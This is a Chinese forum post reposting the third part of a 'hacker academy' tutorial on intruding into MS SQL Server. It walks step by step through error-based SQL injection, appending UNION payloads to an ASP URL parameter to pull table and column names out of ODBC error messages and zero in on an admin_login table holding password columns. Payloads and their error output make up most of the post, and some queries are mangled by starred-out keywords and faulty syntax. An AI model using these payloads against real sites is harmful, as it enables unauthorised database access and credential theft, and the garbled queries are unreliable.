2026年11月4日 · 今日 0 帖 · 会员 6.1万 · 主题 17.4万
登录 · 注册 · 游客,欢迎随便逛逛
返回版块
只看作者:洞房 查看全部
1000
Lv9有为九子能等级图标
勋章勋章勋章勋章勋章
帖子
9.3万
回复
2,089
积分
60.3万
注册
2006-12-06
[怀旧国机]

黑客学院教您入侵SQL服务器(三)

[复制链接]
查看 110 回复 0
楼主 发表于 | 查看全部

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?

  我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL:

http://duck/index.asp?id=10

  在上面的URL中我们可以尝试使用UNION子句的方式在整数‘10‘之后加入其他请求字符串进去的,如:

http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES--

  上例中的系统表*RMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询

  问请求就是:

  * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES-

  服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息:

  Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘

  Syntax error converting the nvarchar value ‘

  table1‘ to a column of data type int.

  /index.asp, line 5

  非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:

http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES WH

  ERE TABLE_NAME NOT IN (‘table1‘)--

  我们也可以通过LIKE来找寻相关的特殊字:

http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES WH

  ERE TABLE_NAME LIKE ‘%25login%25‘--

  输出得到:

  Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘

  Syntax error converting the nvarchar value ‘

  admin_login‘ to a column of data type int.

  /index.asp, line 5

6.1如何找出表中的列名?

  我们可以利用另一个比较重要的表*RMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:

http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS

  WHERE TABLE_NAME=‘admin_login‘--

  输出显示为:

  Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘

  Syntax error converting the nvarchar value ‘

  login_id‘ to a column of data type int.

  /index.asp, line 5

  现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:

http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS

  WHERE TABLE_NAME=‘admin_login‘ WHERE COLUMN_NAME NOT IN (‘login_id‘)--

  输出得到:

  Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘

  Syntax error converting the nvarchar value ‘

  login_name‘ to a column of data type int.

  /index.asp, line 5

  若继续重复这样的操作,我们将可以获得余下所有的列名,如“password“、“details“。当我们使用了下面的请求后就可以得到(除了‘login_id‘,‘login_name‘,‘password‘,details‘之外的列名):

http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS

  WHERE TABLE_NAME=‘admin_login‘ WHERE COLUMN_NAME NOT IN (‘login_id‘,‘login_name‘,‘password‘

  ,details‘)--

  输出后得到:

  Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14‘

  ORDER BY items must appear in the * list if the statement contains a UNION operator.

登录回复

登录后可以回复这个帖子。旧账号可使用原密码登录。

登录 注册新号
← 返回版块